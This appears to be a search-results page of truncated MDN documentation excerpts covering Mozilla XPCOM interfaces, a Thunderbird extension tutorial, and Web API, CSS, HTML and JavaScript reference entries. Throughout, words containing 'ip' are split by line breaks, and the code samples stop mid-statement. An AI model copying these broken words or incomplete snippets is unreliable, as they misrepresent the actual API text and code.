...read only. methods addcorrection() adds a misspelling to the list of corrections. note that this method is not currently implemented. void addcorrection( in wstring word, in wstring correction, in wstring lang ); parameters word the incorrect spelling of the word to add to the list of corrections. cor...
mozIPlacesAutoComplete
match_boundary_anywhere 1 match first on word boundaries, and if we do not get enough results, then match anywhere in each searchable term. ...
...laces autocomplete search provider as well as methods to track opened pages for autocomplete purposes. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void registeropenpage(in nsiuri auri); void unregisteropenpage(in nsiuri auri); constants constant value descr
iption match_anywhere 0 match anywhere in each searchable term. match_boundary_anywhere 1 match first on word boundaries, and if we do not get enough results, then match anywhere in each searchable term. match_boundary 2 match on word boundaries in each searchable term. match_beginning 3 match only the beginning of each search term. behavior_history 1 << 0 search through history. behavio...
...in each searchable term. match_beginning 3 match only the beginning of each search term. behavior_history 1 << 0 search through history. behavior_bookmark 1 << 1 search though bookmarks. behavior_tag 1 << 2 search through tags. behavior_title 1 << 3 search the title of pages. behavior_url 1 << 4 search the url of pages. behavior_typed 1 << 5 search for typed pages. behavior_javascr
ipt 1 << 6 search javascr
ipt: urls. behavior_openpage 1 << 7 search for pages that have been marked as being opened, such as a tab in a tabbrowser. methods registeropenpage() mark a page as being currently open. note: pages will not be automatically unregistered when private browsing mode is entered or exited. therefore, consumers must unregister or register themselves. void registeropenpage( ...
nsIINIParserFactory
xpcom/ds/nsiin
iparser.idlscr
iptable this interface is used to create nsiin
iparser objects for use in parsing ini files. 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) see example for how to use this interface. method overview nsiin
iparser createin
iparser(in nsilocalfile ainifile); methods createin
iparser() creates an ini parser, returning the nsiin
iparser object that you can use to parse it. nsiin
iparser createin
iparser( in nsilocalfile ainifile ); parameters ainifile the ini file to parse. return value the nsiin
iparser object you can use to parse the ini file. example obtaining a parser object to obtain a parser for an ini file, you c...
...ates an ini parser, returning the nsiin
iparser object that you can use to parse it. nsiin
iparser createin
iparser( in nsilocalfile ainifile ); parameters ainifile the ini file to parse. return value the nsiin
iparser object you can use to parse the ini file. ...
... looks like this: to get an nsiin
iparser instance for an ini file, you may use the following code: // create an nsilocalfile var cl = "@mozilla.org/file/local;1"; var interf = components.interfaces.nsilocalfile; var file = components.classes[cl].createinstance(interf); // init the file with the path to your ini file var path = "c:\\temp\\example.ini"; file.initwithpath(path); // create the nsiin
iparserfactory var cl = "@mozilla.org/xpcom/ini-parser-factory;1"; var interf = components.interfaces.nsiin
iparserfactory; var inifact = components.manager.getclassobjectbycontractid(cl,interf); // get the in
iparser for the ini file var in
iparser = inifact.createin
iparser(file); see also nsiin
iparser nsilocalfile ...
nsIParserUtils
parser/html/ns
iparserutils.idlscr
iptable provides non-web html parsing functionality to firefox extensions and xulrunner applications. 1.0 66 introduced gecko 13.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead. ...
... inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) warning: do not use this from within gecko--use nscontentutils, nstreesanitizer, and so on directly instead. ...
... sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style attributes (with contents sanitized in case of -moz-binding). note: if -moz-binding is absent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonl...
nsIProfile
profile/public/ns
iprofile.idlunknown the profile manager is responsible for creating, maintaining, and organizing user profiles. this interface was superseded by the nsitoolkitprofileservice interface in gecko 1.8.1. 66 introduced gecko 0.9 deprecated gecko 1.8.1 obsolete gecko 20.0 inherits from: nsisupports last changed in gecko 1.6 implemented by: @mozilla.org/profile/manager;1. to get access to the profile manager service: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.ns
iprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1. however, it hasn't been used in firefox since before firefox 1.0. method o...
... shutdown_cleanse 0x00000002 when shutting down the profile...
... shutdown_cleanse 0x00000002 when shutting down the profile, discard changes. ...
nsIProfileLock
read only. localdirectory nsilocalfile a directory corresponding to the main profile directory, which exists for the purpose of storing data on the local filesystem, including cache files or other data files that may not represent critical user data. ...
...read only. localdirectory nsilocalfile a directory corresponding to the main profile directory, which exists for the purpose of storing data on the local filesystem, including cache files or other data files that may not represent critical user data. ...
...data. ...
nsIProfileUnlocker
force_quit 1 forcibly terminate the process holding the profile lock. methods unlock() tries to unlock the profile by attempting or forcing the process that currently holds the lock to quit. ...
... force_quit 1 forcibly terminate the process holding the profile lock. methods unlock() tries to unlock the profile by attempting or forcing the process that currently holds the lock to quit. ...
... force_quit 1 forcibly terminate the process holding the profile lock. methods unlock() tries to unlock the profile by attempting or forcing the process that currently holds the lock to quit. void unlock( in unsigned long aseverity ); parameters aseverity either attempt_quit or force_quit. see also profile management nsitoolkitprofileservice nsitoolkitprofile ns
iprofilelock ...
nsIZipEntry
content/base/public/nsidomserializer.idlscr
iptable please add a summary to this article. inherits from: nsisupports last changed in gecko 1.9 (firefox 3) attributes attribute type descr
iption compression unsigned short the type of compression used for the item. the possible values and their meanings are defined in the z
ip file specification at z
ip application note support. read only. crc32 unsigned long the crc-32 hash of the file in the entry. read only. isdirectory boolean true if the name of the entry ends with '/' and false otherwise. read only. issynthetic boolean use this attribute to determine whether this item is an actual z
ip entry or is one synthesized for part of a real entry's path. a syn...
...unsigned long the crc-32 hash of the file in the entry. read only. isdirectory boolean true if the name of the entry ends with '/' and false otherwise. read only. issynthetic boolean use this attribute to determine whether this item is an actual z
ip entry or is one synthesized for part of a real entry's path. a synthesized entry represents a directory within the z
ip file which has no corresponding entry within the z
ip file. for example, the entry for the directory foo/ in a z
ip containing exactly one entry for foo/bar.txt is synthetic. if the z
ip file contains an actual entry for a directory, this attribute will be false for the nsiz
ipentry for that directory. it is impossible for a file to be synthetic. read only. lastmodifiedtime prtime the...
... to be synthetic. read only. ...
Working with Multiple Versions of Interfaces
thwndb(node); } //new line 6. and then implement plan b. we first dredge out the old interface identifiers from our yea olde firefox 1.5 sdk: static const nsiid iar_iid_old = { 0x663ca4a8, 0xd219, 0x4000, { 0x92, 0x5d, 0xd8, 0xf6, 0x64, 0x06, 0xb6, 0x26 }}; static const nsiid iad_iid_old = {0x8781fc88, 0x355f, 0x4439, { 0x88, 0x1f, 0x65, 0x04, 0xa0, 0xa1, 0xce, 0xb6 }}; then follow the rec
ipe. hwnd gethwndb(nsidomnode *node){ hwnd self = null; nsresult rv; nscomptr<nsicomponentmanager> compmgr; rv = ns_getcomponentmanager(getter_addrefs(compmgr)); if (ns_failed(rv)){ return self; } nscomptr<nsiaccessibleretrieval> refp; rv = compmgr->createinstancebycontractid(accretcid, 0, iar_iid_old, getter_addrefs(refp)); if (ns_failed(rv)){ return self; } nscomptr<nsiaccessib...
...getaccessiblefor is still the very first method declared in nsiaccessibleretrieval.h. so if you are lucky enough with your api's this technique may work without further ado. we are not so lucky. the realist's solution to make sure we call the right methods of the right interfaces we need to have two versions of both the nsiaccessibledocument and nsiaccessibleretrieval interfaces at our fingert
ips. i called my old ones: nsiaccessibleretrieval_old.h and nsiaccessibledocument_old.h. mine date back to august of 2006, which is when i first built the lizard. to get these four files to co-exist together peacefully i had to resort to some preprocessor magic and an ugly hack. maybe the ugly hack can be replaced by even more preprocessor magic, but not today. lets do the magic first, then describe...
...i followed the kind advice of mike shaver and did: #define nsiaccessibleretrieval nsiaccessibleretrieval_old #include "accessibility/nsiaccessibleretrieval_old.h" static const nsiid ns_iaccessibleretrieval_iid_old = ns_iaccessibleretrieval_iid; #undef nsiaccessibleretrieval #undef __gen_nsiaccessibleretrieval_h__ #include "accessibility/nsiaccessibleretrieval.h" and following the identical princ
iple for the document interface: #define nsiaccessibledocument nsiaccessibledocument_old #include "accessibility/nsiaccessibledocument_old.h" static const nsiid ns_iaccessibledocument_iid_old = ns_iaccessibledocument_iid; #undef nsiaccessibledocument #undef __gen_nsiaccessibledocument_h__ #include "accessibility/nsiaccessibledocument.h" i even silenced my friend the compiler by enclosing both inca...
Building a Thunderbird extension 6: Adding JavaScript
warning: this content is for older versions of thunderbird. much of it may no longer be relevant. see developer.thunderbird.net for newer information. in this step we will create a small piece of javascr
ipt code that inserts the current date into our statusbar widget. the statusbar is usually displayed at the bottom of the thunderbird window. depending on the installed theme the result will look something like this: modify xul elements with javascr
ipt save the following javascr
ipt code into the content/ folder next to your myhelloworld.xul file and name it overlay.js. window.addeventlistener("load", function(e) { startup(); }, false); window.setinterval( function() { startup(); }, 60000); //update date every minute function startup() { var mypanel = document.getelementb...
... var datestring = date.getfullyear() + "." + (date.getmonth()+1) + "." + date.getdate(); mypanel.label = "date: " + datestring; } the first part registers a new event listener that will be executed automatically when thunderbird loads. the event listener then calls our startup function which gets our <statusbarpanel>-element with the id my-panel from the document's dom tree. it then uses javascr
ipt's date class to get the current date, which it converts into a string that has the format of yyyy.mm.dd. because the month is zero-based we also need to add one to the month. finally the label of our panel is set to "date: " and concatenated with the date string that contains the formatted date. we use the function window.setinterval to update the date in case thunderbird is left running for mo...
...unning for more than one day. this allows us to call the startup function repeatedly with an interval of 60000ms (every minute). further documentation more functions for the dom objects are listed on: dom/window (api reference for the window object) dom/document (api reference for the document object) gecko dom reference (overview of all dom objects in gecko) you may also find the javascr
ipt cheat sheet very useful. << previousnext >> ...
Pixel manipulation with canvas - Web APIs
we will also look into how image smoothing (anti-aliasing) can be controlled and how to save images from your canvas. the imagedata object the imagedata object represents the underlying pixel data of an area of a canvas object. it contains the following read-only attributes: width the width of the image in pixels. height the height of the image in pixels. ...
...esenting the pixel data for the area of the canvas whose corners are represented by the points (left,top), (left+width, top), (left, top+height), and (left+width, top+height). the coordinates are specified in canvas coordinate space units. note: any pixels outside the canvas are returned as transparent black in the resulting imagedata object. this method is also demonstrated in the article man
ipulating video using canvas. a color picker in this example we are using the getimagedata() method to display the color under the mouse cursor. for this, we need the current position of the mouse with layerx and layery, then we look up the pixel data on that position in the pixel array that getimagedata() provides us. finally, we use the array data to set a background color and a text in the <div...
...xample we iterate over all pixels to change their values, then we put the modified pixel array back to the canvas using putimagedata(). the invert function simply subtracts each color from the max value 255. the grayscale function simply uses the average of red, green and blue. you can also use a weighted average, given by the formula x = 0.299r + 0.587g + 0.114b, for example. see grayscale on wik
ipedia for more information. <canvas id="canvas" width="300" height="227"></canvas> <div> <input id="grayscalebtn" value="grayscale" type="button"> <input id="invertbtn" value="invert" type="button"> </div> var img = new image(); img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg'; img.onload = function() { draw(this); }; function draw(img) { var canvas = document.getelementb...
Clipboard.readText() - Web APIs
the cl
ipboard interface's readtext() method returns a promise which resolves with a copy of the textual contents of the system cl
ipboard.. the "cl
ipboard-read" permission of the permissions api must be granted before you can read data from the cl
ipboard. syntax var promise = navigator.cl
ipboard.readtext() parameters none. return value a promise that resolves with a domstring containing the textual contents of the cl
ipboard. returns an empty string if the cl
ipboard is empty, does not contain text, or does not include a textual representation among the datatransfer objects representing the cl
ipboard's contents. to read non-text contents from the cl
ipboard, use the read() method instead. you can write text to the cl
ipboard using writetext(). example this example retrieves the textual ...
... working draft initial definition. ...
...ain text, or does not include a textual representation among the datatransfer objects representing the cl
ipboard's contents. to read non-text contents from the cl
ipboard, use the read() method instead. you can write text to the cl
ipboard using writetext(). example this example retrieves the textual contents of the cl
ipboard and inserts the returned text into an element's contents. navigator.cl
ipboard.readtext().then( cl
iptext => document.getelementbyid("outbox").innertext = cl
iptext); specifications specification status comment cl
ipboard api and eventsthe definition of 'readtext()' in that specification. working draft initial definition. ...
Document.onafterscriptexecute - Web APIs
the document.onafterscr
iptexecute property references a function that fires when a static <scr
ipt> element finishes executing its scr
ipt. it does not fire if the element is added dynamically, such as with appendchild(). syntax document.onafterscr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the <scr
ipt> element that just finished executing. ...
...tic <scr
ipt> element finishes executing its scr
ipt. it does not fire if the element is added dynamically, such as with appendchild(). syntax document.onafterscr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the <scr
ipt> element that just finished executing. ...
...if the element is added dynamically, such as with appendchild(). syntax document.onafterscr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the <scr
ipt> element that just finished executing. ...
Document.onbeforescriptexecute - Web APIs
fired when the code in a <scr
ipt> element declared in an html document is about to start executing. does not fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the scr
ipt element that is about to be executed. ...
...nt declared in an html document is about to start executing. does not fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the scr
ipt element that is about to be executed. ...
...fire if the element is added dynamically, eg with appendchild(). syntax document.onbeforescr
iptexecute = funcref; funcref is a function reference, called when the event is fired. the event's target attribute is set to the scr
ipt element that is about to be executed. ...
Element: beforescriptexecute event - Web APIs
it is a proprietary event specific to gecko (firefox). ...
... it is a proprietary event specific to gecko (firefox). ...
... it is a proprietary event specific to gecko (firefox). ...
HTMLInputElement.multiple - Web APIs
the htmlinputelement.mult
iple property indicates if an input can have more than one value. firefox currently only supports mult
iple for <input type="file">. ...
... the htmlinputelement.mult
iple property indicates if an input can have more than one value. firefox currently only supports mult
iple for <input type="file">. ...
... the htmlinputelement.mult
iple property indicates if an input can have more than one value. firefox currently only supports mult
iple for <input type="file">. ...
PaymentRequest.shippingType - Web APIs
candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... candidate recommendation initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...inition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
RTCPeerConnection.pendingLocalDescription - Web APIs
the read-only property rtcpeerconnection.pendinglocaldescr
iption returns an rtcsessiondescr
iption object describing a pending configuration change for the local end of the connection. this does not describe the connection as it currently stands, but as it may exist in the near future. use rtcpeerconnection.currentlocaldescr
iption or rtcpeerconnection.localdescr
iption to get the current state of the endpoint. for details on the difference, see pending and current descr
iptions in webrtc connectivity. syntax sessiondescr
iption = rtcpeerconnection.pendinglocaldescr
iption; return value if a local descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. ...
...e of the endpoint. for details on the difference, see pending and current descr
iptions in webrtc connectivity. syntax sessiondescr
iption = rtcpeerconnection.pendinglocaldescr
iption; return value if a local descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. example this example looks at the pendinglocaldescr
iption to determine whether or not there's a descr
iption change being processed. var pc = new rtcpeerconnection(); ... ...
...onnection.pendinglocaldescr
iption; return value if a local descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. example this example looks at the pendinglocaldescr
iption to determine whether or not there's a descr
iption change being processed. var pc = new rtcpeerconnection(); ... var sd = pc.pendinglocaldescr
iption; if (sd) { // there's a descr
iption change underway! } else { // no descr
iption change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendinglocaldescr
iption' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.pendingRemoteDescription - Web APIs
the read-only property rtcpeerconnection.pendingremotedescr
iption returns an rtcsessiondescr
iption object describing a pending configuration change for the remote end of the connection. this does not describe the connection as it currently stands, but as it may exist in the near future. use rtcpeerconnection.currentremotedescr
iption or rtcpeerconnection.remotedescr
iption to get the current session descr
iption for the remote endpoint. for details on the difference, see pending and current descr
iptions in webrtc connectivity. syntax sessiondescr
iption = rtcpeerconnection.pendingremotedescr
iption; return value if a remote descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. example this example looks at t...
...emote endpoint. for details on the difference, see pending and current descr
iptions in webrtc connectivity. syntax sessiondescr
iption = rtcpeerconnection.pendingremotedescr
iption; return value if a remote descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. example this example looks at the pendingremotedescr
iption to determine whether or not there's a descr
iption change being processed. var pc = new rtcpeerconnection(); ... ...
...ction.pendingremotedescr
iption; return value if a remote descr
iption change is in progress, this is an rtcsessiondescr
iption describing the proposed configuration. otherwise, this returns null. example this example looks at the pendingremotedescr
iption to determine whether or not there's a descr
iption change being processed. var pc = new rtcpeerconnection(); ... var sd = pc.pendingremotedescr
iption; if (sd) { // there's a descr
iption change underway! } else { // no descr
iption change pending } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.pendingremotedescr
iption' in that specification. candidate recommendation initial specification. ...
RTCPeerConnection.remoteDescription - Web APIs
the read-only property rtcpeerconnection.remotedescr
iption returns a rtcsessiondescr
iption describing the session (which includes configuration and media information) for the remote end of the connection. if this hasn't been set yet, this is null. the returned value typically reflects a remote descr
iption which has been received over the signaling server (as either an offer or an answer) and then put into effect by your code calling rtcpeerconnection.setremotedescr
iption() in response. syntax var sessiondescr
iption = peerconnection.remotedescr
iption; on a more fundamental level, the returned value is the value of rtcpeerconnection.pendingremotedescr
iption if that property isn't null; otherwise, the value of rtcpeerconnection.currentremotedescr
iption is returned. see pending and curre...
...to effect by your code calling rtcpeerconnection.setremotedescr
iption() in response. syntax var sessiondescr
iption = peerconnection.remotedescr
iption; on a more fundamental level, the returned value is the value of rtcpeerconnection.pendingremotedescr
iption if that property isn't null; otherwise, the value of rtcpeerconnection.currentremotedescr
iption is returned. see pending and current descr
iptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the remotedescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... ...
...null; otherwise, the value of rtcpeerconnection.currentremotedescr
iption is returned. see pending and current descr
iptions in webrtc connectivity for details on this algorithm and why it's used. example this example looks at the remotedescr
iption and displays an alert containing the rtcsessiondescr
iption object's type and sdp fields. var pc = new rtcpeerconnection(); ... var sd = pc.remotedescr
iption; if (sd) { alert("remote session: type='" + sd.type + "'; sdp descr
iption='" + sd.sdp + "'"); } else { alert("no remote session yet."); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.remotedescr
iption' in that specification. candidate recommendation ...
msManipulationViewsEnabled - Web APIs
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msman
ipulationviewsenabled read-only property returns true if man
ipulation features are support available, such as touch panning and zooming using css rules. ...
...r every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the msman
ipulationviewsenabled read-only property returns true if man
ipulation features are support available, such as touch panning and zooming using css rules. this proprietary property is specific to internet explorer and microsoft edge. value returns true if man
ipulation features are support available, such as touch panning and zooming using css rules. ...
... the msman
ipulationviewsenabled read-only property returns true if man
ipulation features are support available, such as touch panning and zooming using css rules. this proprietary property is specific to internet explorer and microsoft edge. value returns true if man
ipulation features are support available, such as touch panning and zooming using css rules. ...
WorkerGlobalScope.importScripts() - Web APIs
the importscr
ipts() method of the workerglobalscope interface synchronously imports one or more scr
ipts into the worker's scope. syntax self.importscr
ipts('foo.js'); self.importscr
ipts('foo.js', 'bar.js', ...); parameters a comma-separated list of domstring objects representing the scr
ipts to be imported. these paths are relative to html document base url. return value none. exceptions networkerror imported scr
ipts were not served with a valid javascr
ipt mime type (i.e. text/javascr
ipt). ...
...lf.importscr
ipts('foo.js', 'bar.js', ...); parameters a comma-separated list of domstring objects representing the scr
ipts to be imported. these paths are relative to html document base url. return value none. exceptions networkerror imported scr
ipts were not served with a valid javascr
ipt mime type (i.e. text/javascr
ipt). example if you had some functionality written in a separate scr
ipt called foo.js that you wanted to use inside worker.js, you could import it using the following line: importscr
ipts('foo.js'); importscr
ipts() and self.importscr
ipts() are effectively equivalent -- both represent importscr
ipts() being called from inside the worker's inner scope. specifications specification status comment html living standardthe definition of 'importsc...
... called foo.js that you wanted to use inside worker.js, you could import it using the following line: importscr
ipts('foo.js'); importscr
ipts() and self.importscr
ipts() are effectively equivalent -- both represent importscr
ipts() being called from inside the worker's inner scope. specifications specification status comment html living standardthe definition of 'importscr
ipts()' in that specification. living standard ...
XRPermissionDescriptor.requiredFeatures - Web APIs
the xrpermissiondescr
iptor dictionary's requiredfeatures property should be set prior to calling navigator.permissions.query() to a list of webxr features which must be supported for the app to work. this ensures that permissions are checked as applicable to ensure that those features are available upon request. syntax xrpermissiondescr
iptor = { mode: xrsessionmode, requiredfeatures: reqfeaturelist, optionalfeatures: optfeaturelist }; xrpermissiondescr
iptor.requiredfeatures = reqfeaturelist; reqfeaturelist = xrpermissiondescr
iptor.requiredfeatures; value an array of strings indicating the webxr features which must be available for use by the app or site. the permissions check will be performed in such a manner as to verify that all features in the list are available for use ...
...umerated type, indicating the reference space types that your app would like permission to use, but can operate without. future editions of webxr may add more recognized features. the permitted values are: the types of reference space are listed in the table below, with brief information about their use cases and which interface is used to implement them. xrreferencespacetype descr
iption interface bounded-floor similar to the local type, except the user is not expected to move outside a predetermined boundary, given by the boundsgeometry in the returned object. xrboundedreferencespace local a tracking space whose native origin is located near the viewer's position at the time the session was created. the exact position depends on the und...
... working draft initial definition. ...
XRPermissionDescriptor - Web APIs
user permissions in the webxr device api are managed using the permissions api. to that end, the xrpermissiondescr
iptor dictionary is used to describe the webxr features the app needs to use, as well as those features it would like ot use if permision is granted. the xrpermissiondescr
iptor's name must be set to xr in order to direct the permissions api to correctly handle the request as applying to webxr. properties in addition to inheriting the properties of the parent interface, permissiondescr
iptor, xrpermissiondescr
iptor provides the following properties. mode an xrsessionmode value indicating the xr mode (inline, immersive-vr, or immersive-ar) for which the permissions are requested. optionalfeatures an array of strings, each specifying the name of a webxr feature which is ...
...ission must be obtained in order to use your app or site. examples the example below demonstrates performing the permission request for an application that requires the local-floor reference space in an immersive-vr environment. if the permissions api is found to be available (by checking to see if navigator.permissions is defined), its query() method is called, specifying the permission descr
iptor we've established, xrpermissiondesc. when the returned promise resolves, we check the returned status. if permission has been granted, we call a function setupxr() that handles preparing the webxr environment for use. if permission is conditional based on prompting, we call a function promptandsetupxr() that would handle asking for permission before enabling and starting up the environment. a...
... working draft initial definition. ...
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
flexbox the basic difference between css grid layout and css flexbox layout is that flexbox was designed for layout in one dimension - either a row or a column. grid was designed for two-dimensional layout - rows, and columns at the same time. the two specifications share some common features, however, and if you have already learned how to use flexbox, the similarities should help you get to gr
ips with grid. one-dimensional vs. two-dimensional layout a simple example can demonstrate the difference between one- and two-dimensional layouts. in this first example, i am using flexbox to lay out a set of boxes. i have five child items in my container, and i have given the flex properties values so that they can grow and shrink from a flex-basis of 150 pixels. i have also set the flex-wrap ...
...ontainer does not create a new positioning context, then it is taken out of flow as in the previous example. the positioning context will be whatever element creates a positioning context as is common to other layout methods. in our case, if we remove position: relative from the wrapper above, positioning context is from the viewport, as shown in this image. once again the item no longer partic
ipates in the grid layout in terms of sizing or when other items are auto-placed. with a grid area as the parent if the absolutely positioned item is nested inside a grid area then you can create a positioning context on that area. in the below example we have our grid as before but this time i have nested an item inside .box3 of the grid. i have given .box3 position relative and then positioned ...
...of the issues that would be solved by subgrids once they are implemented. you can also use display: contents in a similar way with flexbox to enable nested items to become flex items. as you can see from this guide, css grid layout is just one part of your toolkit. don't be afraid to mix it with other methods of doing layout to get the different effects you need. see also flexbox guides mult
iple-column layout guides ...
<sup>: The Superscript element - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. ...
...in some languages when rendering certain abbreviations. for example, in french, the word "mademoiselle" can be abbreviated "mlle"); this is an acceptable use case. see superior lettering for examples. representing ordinal numbers, such as "4th" instead of "fourth." see ordinal numbers for examples. examples exponents exponents, or powers of a number, are among the most common uses of superscr
ipted text. for example: <p>one of the most common equations in all of physics is <var>e</var>=<var>m</var><var>c</var><sup>2</sup>.<p> the resulting output looks like this: superior lettering superior lettering is not technically the same thing as superscr
ipt. however, it is common to use <sup> to present superior lettering in html. among the most common uses of superior lettering is the pres...
...o present superior lettering in html. among the most common uses of superior lettering is the presentation of certain abbreviations in french: <p>robert a presente son rapport a m<sup>lle</sup> bernard.</p> the resulting output: ordinal numbers ordinal numbers, such as "fourth" in english or "quinto" in spanish may be abbreviated using numerals and language-specific text rendered in superscr
ipt: <p>the ordinal number "fifth" can be abbreviated in various languages as follows:</p> <ul> <li>english: 5<sup>th</sup></li> <li>french: 5<sup>eme</sup></li> </ul> the output: specifications specification status comment html living standardthe definition of '<sub> and <sup>' in that specification. living standard html5the definition of '<sub>...
300 Multiple Choices - HTTP
the http 300 mult
iple choices redirect status response code indicates that the request has more than one possible responses. the user-agent or the user should choose one of them. as there is no standardized way of choosing one of the responses, this response code is very rarely used. if the server has a preferred choice, it should generate a location header. ...
... the http 300 mult
iple choices redirect status response code indicates that the request has more than one possible responses. the user-agent or the user should choose one of them. as there is no standardized way of choosing one of the responses, this response code is very rarely used. if the server has a preferred choice, it should generate a location header. ...
...st has more than one possible responses. the user-agent or the user should choose one of them. ...
Character classes - JavaScript
as one of the following meanings: matches any single character except line terminators: \n, \r, \u2028 or \u2029. for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day". inside a character set, the dot loses its special meaning and matches a literal dot. note that the m multiline flag doesn't change the dot behavior. so to match a pattern across mult
iple lines, the character set [^] can be used -- it will match any character including newlines. es2018 added the s "dotall" flag, which allows the dot to also match line terminators. \d matches any digit (arabic numeral). equivalent to [0-9]. for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number". \d matches any character that is not a di...
...rom the latin alphabet) starting with a var aliceexcerpt = "i'm sure i'm not ada,' she said, 'for her hair goes in such long ringlets, and mine doesn't go in ringlets at all."; var regexpwordstartingwitha = /\b[aa]\w+/g; // \b indicates a boundary (i.e. do not start matching in the middle of a word) // [aa] indicates the letter a or a // \w+ indicates any character *from the latin alphabet*, mult
iple times console.table(aliceexcerpt.match(regexpwordstartingwitha)); // ['ada', 'and', 'at', 'all'] looking for a word (from unicode characters) instead of the latin alphabet, we can use a range of unicode characters to identify a word (thus being able to deal with text in other languages like russian or arabic). the "basic multilingual plane" of unicode contains most of the characters used ar...
... ...
Regular expression syntax cheatsheet - JavaScript
as one of the following meanings: matches any single character except line terminators: \n, \r, \u2028 or \u2029. for example, /.y/ matches "my" and "ay", but not "yes", in "yes make my day". inside a character set, the dot loses its special meaning and matches a literal dot. note that the m multiline flag doesn't change the dot behavior. so to match a pattern across mult
iple lines, the character set [^] can be used -- it will match any character including newlines. es2018 added the s "dotall" flag, which allows the dot to also match line terminators. \d matches any digit (arabic numeral). equivalent to [0-9]. for example, /\d/ or /[0-9]/ matches "2" in "b2 is the suite number". \d matches any character that is not a di...
...uded in the character set as a normal character. for example, [^abc] is the same as [^a-c]. they initially match "o" in "bacon" and "h" in "chop". the ^ character may also indicate the beginning of input. (x) capturing group: matches x and remembers the match. for example, /(foo)/ matches and remembers "foo" in "foo bar". a regular expression may have mult
iple capturing groups. in results, matches to capturing groups typically in an array whose members are in the same order as the left parentheses in the capturing group. this is usually just the order of the capturing groups themselves. this becomes important when capturing groups are nested. matches are accessed using the index of the the result's elements ([1], ..., [n]) or from the predefined rege...
... values \p{unicodebinarypropertyname} // negation: \p is negated \p \p{unicodepropertyvalue} \p{unicodebinarypropertyname} unicodebinarypropertyname the name of a binary property. e.g.: ascii, alpha, math, diacritic, emoji, hex_digit, math, white_space, etc. see unicode data proplist.txt for more info. unicodepropertyname the name of a non-binary property: general_category (gc) scr
ipt (sc) scr
ipt_extensions (scx) see also propertyvaluealiases.txt unicodepropertyvalue one of the tokens listed in the values section, below. many values have aliases or shorthand (e.g. the value decimal_number for the general_category property may be written nd, digit, or decimal_number). for most values, the unicodepropertyname part and equals sign may be omitted. if a unicodepropertyname ...
constructor - JavaScript
the constructor method is a special method of a class for creating and initializing an object of that class. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax constructor([arguments]) { ... } descr
iption a constructor enables you to provide any custom initialization that must be done before any other methods can be called on an instantiated object. class person { constructor(name) { this.name = name; } introduce() { console.log(`hello, my name is ${this.name}`); } } const otto = new person('otto'); otto.introduce(); if you don't provide your own constructor, then a default constructo...
...(error.name); // now this is validationerror! console.log(error.printcustomermessage()); } else { console.log('unknown error', error); throw error; } } there can be only one special method with the name "constructor" in a class. having more than one occurrence of a constructor method in a class will throw a syntaxerror error. examples using the constructor method this code sn
ippet is taken from the classes sample (live demo). class square extends polygon { constructor(length) { // here, it calls the parent class' constructor with lengths // provided for the polygon's width and height super(length, length); // note: in derived classes, `super()` must be called before you // can use `this`. leaving this out will cause a referenceerror. this.name...
... ...
SyntaxError: applying the 'delete' operator to an unqualified name is deprecated - JavaScript
in strict mode, an attempt to delete a variable will throw an error and is not allowed. the delete operator can only delete properties on an object. object properties are "qualified" if they are configurable. ...
